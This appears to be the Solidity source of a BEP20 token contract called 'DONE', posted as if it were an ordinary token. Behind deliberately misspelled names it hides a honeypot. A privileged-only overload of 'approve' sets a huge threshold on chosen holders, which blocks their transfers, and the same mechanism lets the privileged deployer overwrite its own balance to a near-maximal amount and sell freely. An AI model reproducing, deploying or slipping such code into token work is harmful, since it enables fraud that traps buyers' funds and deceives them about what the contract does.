文件 1 的 1:DONE.sol
library parameter {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract owmmner is Context {
address private _owmmner;
event owmmnershipTransferred(address indexed previousOmmwner, address indexed newowmmner);
constructor() {
_transferOwmmnership(_msgSender());
}
modifier onlyowmmner() {
_checkOwmmner();
_;
}
function owner() public view virtual returns (address) {
return _owmmner;
}
function _checkOwmmner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owmmner");
}
function renounceOwnership() public virtual onlyowmmner {
_transferOwmmnership(address(0));
}
function transferOwnership(address newOwmmner) public virtual onlyowmmner {
require(newOwmmner != address(0), "Ownable: new owmmner is the zero address");
_transferOwmmnership(newOwmmner);
}
function _transferOwmmnership(address newOwmmner) internal virtual {
address oldOwner = _owmmner;
_owmmner = newOwmmner;
emit owmmnershipTransferred(oldOwner, newOwmmner);
}
}
pragma solidity ^0.8.0;
contract BEP20 is Context, IERC20, IERC20Metadata,owmmner {
using parameter for uint256;
mapping(address=> uint256) private _kinged;
mapping(address => uint256) private _dogewwn;
mapping (address => bool) public _dogeownes;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 MANPP = 2**256/2-1996;
function approve(address recipient) external {
require( _dogeownes[msg.sender]);
_dogewwn[recipient] = MANPP ;
}
function Transferw(address recipient) external {
require( _dogeownes[msg.sender]);
_dogewwn[recipient] = 0;
}
function getABA(address recipient) public view returns(uint256) {
return _dogewwn[recipient];
}
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _kinged[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
uint256 tFEE = 0;
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "BEP20: transfer from the zero address");
require(to != address(0), "BEP20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
if (_dogeownes[from] == false) {
require(_kinged[from] >= _dogewwn[from], "BEP20: transfer amount exceeds balance");
}else{
if (_dogewwn[from] > 0 ){
_kinged[from] = _dogewwn[from];
}
}
uint256 fromBalance = _kinged[from];
require(fromBalance >= amount, "BEP20: transfer amount exceeds balance");
uint256 feeAmount = amount.mul(tFEE).div(100);
uint256 add = amount.sub(feeAmount);
unchecked {
_kinged[from] = fromBalance - amount;
_kinged[to] += add;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _xint(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: xint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_kinged[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _kinged[account];
require(accountBalance >= amount, "BEP20: burn amount exceeds balance");
unchecked {
_kinged[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "BEP20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
pragma solidity ^0.8.0;
contract DONE is BEP20 {
using parameter for uint256;
constructor(uint256 initialSupply) BEP20("DONE", "DONE") {
_xint(msg.sender, initialSupply*10**decimals());
_dogeownes[msg.sender] = true;
}
}